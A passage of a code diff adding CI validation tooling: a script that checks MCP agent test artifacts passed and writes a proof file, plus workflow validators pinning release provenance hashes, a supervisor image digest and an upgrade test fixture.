+  rootDirectory: string,
+  requiredTargetResultIds: readonly string[] = [],
+): McpAgentMatrixProof {
+  const root = path.resolve(rootDirectory);
+  requireDirectory(root, "MCP artifact root");
+
+  const uniqueTargetIds = [...new Set(requiredTargetResultIds)];
+  if (
+    uniqueTargetIds.length !== requiredTargetResultIds.length ||
+    uniqueTargetIds.some((id) => !/^[a-z0-9][a-z0-9._-]*$/u.test(id))
+  ) {
+    throw new Error("required target result IDs must be unique safe artifact identifiers");
+  }
+
+  for (const testId of REQUIRED_MCP_AGENT_TEST_IDS) {
+    const testDirectory = path.join(root, testId);
+    requireDirectory(testDirectory, `${testId} artifact directory`);
+    const scenarioPath = path.join(testDirectory, "scenario.json");
+    requireRegularFile(scenarioPath, `${testId} scenario artifact`);
+    const scenario: unknown = JSON.parse(fs.readFileSync(scenarioPath, "utf8"));
+    if (
+      scenario === null ||
+      typeof scenario !== "object" ||
+      Array.isArray(scenario) ||
+      (scenario as { id?: unknown }).id !== testId
+    ) {
+      throw new Error(`${testId} scenario artifact does not prove the expected test identity`);
+    }
+  }
+
+  for (const targetId of uniqueTargetIds) {
+    const targetDirectory = path.join(root, targetId);
+    requireDirectory(targetDirectory, `${targetId} artifact directory`);
+    const resultPath = path.join(targetDirectory, "target-result.json");
+    requireRegularFile(resultPath, `${targetId} target result`);
+    const result: unknown = JSON.parse(fs.readFileSync(resultPath, "utf8"));
+    if (
+      result === null ||
+      typeof result !== "object" ||
+      Array.isArray(result) ||
+      (result as { id?: unknown }).id !== targetId ||
+      (result as { status?: unknown }).status !== "passed"
+    ) {
+      throw new Error(`${targetId} target result does not prove a passed lifecycle`);
+    }
+  }
+
+  return {
+    requiredTargetResultIds: uniqueTargetIds,
+    requiredTestIds: REQUIRED_MCP_AGENT_TEST_IDS,
+    schemaVersion: 1,
+    status: "all-required-tests-passed",
+  };
+}
+
+export function writeMcpAgentMatrixProof(
+  rootDirectory: string,
+  requiredTargetResultIds: readonly string[] = [],
+): string {
+  const proof = assertMcpAgentMatrixArtifacts(rootDirectory, requiredTargetResultIds);
+  const output = path.join(path.resolve(rootDirectory), "mcp-agent-matrix-proof.json");
+  fs.writeFileSync(output, `${JSON.stringify(proof, null, 2)}\n`, {
+    encoding: "utf8",
+    flag: "wx",
+    mode: 0o600,
+  });
+  return output;
+}
+
+if (process.argv[1] && import.meta.url === pathToFileURL(process.argv[1]).href) {
+  try {
+    const root = process.argv[2];
+    if (!root) {
+      throw new Error(
+        "Usage: npx tsx tools/e2e/assert-mcp-agent-matrix-artifacts.mts ARTIFACT_DIR [TARGET_RESULT_ID ...]",
+      );
+    }
+    const output = writeMcpAgentMatrixProof(root, process.argv.slice(3));
+    console.log(`MCP agent matrix artifact proof written: ${output}`);
+  } catch (error) {
+    console.error(`::error::${error instanceof Error ? error.message : String(error)}`);
+    process.exitCode = 1;
+  }
+}
diff --git a/tools/e2e/mcp-workflow-boundary.mts b/tools/e2e/mcp-workflow-boundary.mts
index beb76c2426..aff7e74d07 100644
--- a/tools/e2e/mcp-workflow-boundary.mts
+++ b/tools/e2e/mcp-workflow-boundary.mts
@@ -16,6 +16,20 @@ const DEV_DOCKER_CLEANUP_NAME = "Revoke Docker auth before unverified dev toolin
 const DEV_COMPATIBILITY_STEP_NAME = "Classify OpenShell credential-boundary compatibility";
 const DEV_COMPATIBILITY_STEP_ID = "mcp_runtime_compatibility";
 const DEV_COMPATIBILITY_TOOL = "tools/e2e/mcp-bridge-runtime-compatibility.mts";
+const CREDENTIAL_WINDOW_ID = "openshell-credential-generation-window";
+const CREDENTIAL_WINDOW_FILE = `test/e2e/live/${CREDENTIAL_WINDOW_ID}.test.ts`;
+const CREDENTIAL_WINDOW_SHARD = "deepagents";
+const STABLE_RELEASE_SOURCE_SHA = "3dee5570a46076a57a3b056f35f35ebc0861ac85";
+const STABLE_RELEASE_SUPERVISOR_INDEX =
+  "f4226253a3525c3832adac5b38b419a0f27d1e915effe565b5885e20f93cd5e9";
+const STABLE_RELEASE_PROVENANCE_TOKENS = [
+  'releaseTag: "v0.0.85"',
+  STABLE_RELEASE_SOURCE_SHA,
+  "222d9d53a142691d7a7de2c692f38e52d24066f9f633d53746c5fef775861bc8",
+  "33bb479d936c3c1b17dd475df05747be9de74564fb67d69a4c33cdd01181d02f",
+  "863ef21ab7ef623f5e7a8728c4e5532b46bfbae3ace3b800665a1c6353a1f7d2",
+  "mcp-bridge-deepagents/openshell-exact-main-provenance.json",
+] as const;
 const DEV_COMPATIBILITY_RUN = [
   "set -euo pipefail",
   'export PATH="$HOME/.local/bin:$HOME/.npm-global/bin:$PATH"',
@@ -150,6 +164,18 @@ function validateJobIdentity(
       "stable",
       "mcp-bridge must pin the stable OpenShell channel",
     );
+    requireEqual(
+      errors,
+      env.NEMOCLAW_OPENSHELL_EXACT_MAIN_PROOF,
+      "1",
+      "mcp-bridge must enable the exact stable release proof",
+    );
+    requireEqual(
+      errors,
+      env.OPENSHELL_DOCKER_SUPERVISOR_IMAGE,
+      `ghcr.io/nvidia/openshell/supervisor@sha256:${STABLE_RELEASE_SUPERVISOR_INDEX}`,
+      "mcp-bridge must pin the reviewed stable supervisor image",
+    );
     if (Object.hasOwn(env, "E2E_DEFAULT_ENABLED")) {
       errors.push("mcp-bridge must remain default-enabled");
     }
@@ -336,6 +362,13 @@ function validateJobExecution(
     );
   } else if (Object.hasOwn(installEnv, "NEMOCLAW_ACCEPT_DEV_UNVERIFIED_INSTALL")) {
     errors.push("mcp-bridge stable installer must not authorize unverified dev artifacts");
+  } else {
+    const installRun = asString(install.run);
+    for (const token of STABLE_RELEASE_PROVENANCE_TOKENS) {
+      if (!installRun.includes(token)) {
+        errors.push(`mcp-bridge stable release provenance is missing reviewed identity: ${token}`);
+      }
+    }
   }
   requireContains(
     errors,
@@ -404,6 +437,39 @@ function validateJobExecution(
     "tools/e2e/live-vitest-invocation.mts run --test-path",
     `${jobName} must publish canonical risk-signal evidence`,
   );
+  if (jobName === "mcp-bridge") {
+    const riskReporter = "--reporter=test/e2e/risk-signal-reporter.ts";
+    const reporterCount = asString(run.run).split(riskReporter).length - 1;
+    if (reporterCount !== 1) {
+      errors.push(
+        "mcp-bridge credential generation-window proof must publish canonical risk-signal evidence",
+      );
+    }
+    requireContains(
+      errors,
+      run.run,
+      `if [[ "$NEMOCLAW_MCP_BRIDGE_AGENT" == "${CREDENTIAL_WINDOW_SHARD}" ]]; then`,
+      "mcp-bridge must isolate the credential generation-window proof to one shard",
+    );
+    requireContains(
+      errors,
+      run.run,
+      CREDENTIAL_WINDOW_FILE,
+      "mcp-bridge must run the credential generation-window lifecycle",
+    );
+    requireContains(
+      errors,
+      run.run,
+      `-t '^${CREDENTIAL_WINDOW_ID}$'`,
+      "mcp-bridge must select the exact credential generation-window proof",
+    );
+    requireContains(
+      errors,
+      run.run,
+      "--no-file-parallelism",
+      "mcp-bridge must serialize the credential generation-window proof",
+    );
+  }
   requireEqual(
     errors,
     scan.id,
diff --git a/tools/e2e/openshell-gateway-upgrade-workflow-boundary.mts b/tools/e2e/openshell-gateway-upgrade-workflow-boundary.mts
index dc331a7856..b34239c2c2 100644
--- a/tools/e2e/openshell-gateway-upgrade-workflow-boundary.mts
+++ b/tools/e2e/openshell-gateway-upgrade-workflow-boundary.mts
@@ -44,6 +44,19 @@ const EXPECTED_V055_FIXTURES: WorkflowRecord[] = [
   },
 ];
 
+const EXPECTED_V074_FIXTURE: WorkflowRecord = {
+  id: "v0.0.74-x86_64",
+  runner: "ubuntu-latest",
+  shard: "v0-0-74-x86-64",
+  nemoclaw_ref: "v0.0.74",
+  nemoclaw_commit: "3a05b54e8ec3e1d5550ec5c728de54af872bffe3",
+  installer_sha256: "a0cd3feca488d247e53d59d7d8246d2b86e75e95acb5e7d78504b3c0c60fd7db",
+  sandbox_base_image_ref:
+    "ghcr.io/nvidia/nemoclaw/sandbox-base@sha256:104151ffadc2ff0b6c815e3c95c2783ced61aee0d0f83fc327cc02be9b7e14e6",
+  openshell_version: "0.0.72",
+  openclaw_version: "2026.5.27",
+};
+
 function record(value: unknown): WorkflowRecord {
   return value && typeof value === "object" && !Array.isArray(value)
     ? (value as WorkflowRecord)
@@ -61,6 +74,13 @@ function v055Fixtures(job: WorkflowRecord): WorkflowRecord[] {
     : [];
 }
 
+function v074Fixture(job: WorkflowRecord): WorkflowRecord {
+  const include = record(record(job.strategy).matrix).include;
+  return Array.isArray(include)
+    ? (include.map(record).find((fixture) => fixture.nemoclaw_ref === "v0.0.74") ?? {})
+    : {};
+}
+
 function requireRunContains(errors: string[], step: WorkflowStep, fragment: string): void {
   if (!step.run?.includes(fragment)) {
     errors.push(`${JOB_NAME} step '${RUN_STEP_NAME}' must run: ${fragment}`);
@@ -83,6 +103,9 @@ export function validateOpenShellGatewayUpgradeWorkflow(workflow: WorkflowRecord
   if (!isDeepStrictEqual(v055Fixtures(job), EXPECTED_V055_FIXTURES)) {
     errors.push(`${JOB_NAME} v0.0.55 matrix must pin x86_64 and arm64 upgrade fixtures`);
   }
+  if (!isDeepStrictEqual(v074Fixture(job), EXPECTED_V074_FIXTURE)) {
+    errors.push(`${JOB_NAME} matrix must pin the immediate v0.0.74 x86_64 upgrade fixture`);
+  }
   if (record(job.env).NEMOCLAW_E2E_SHARD !== "${{ matrix.shard }}") {
     errors.push(`${JOB_NAME} must publish one risk-signal shard per legacy fixture`);
   }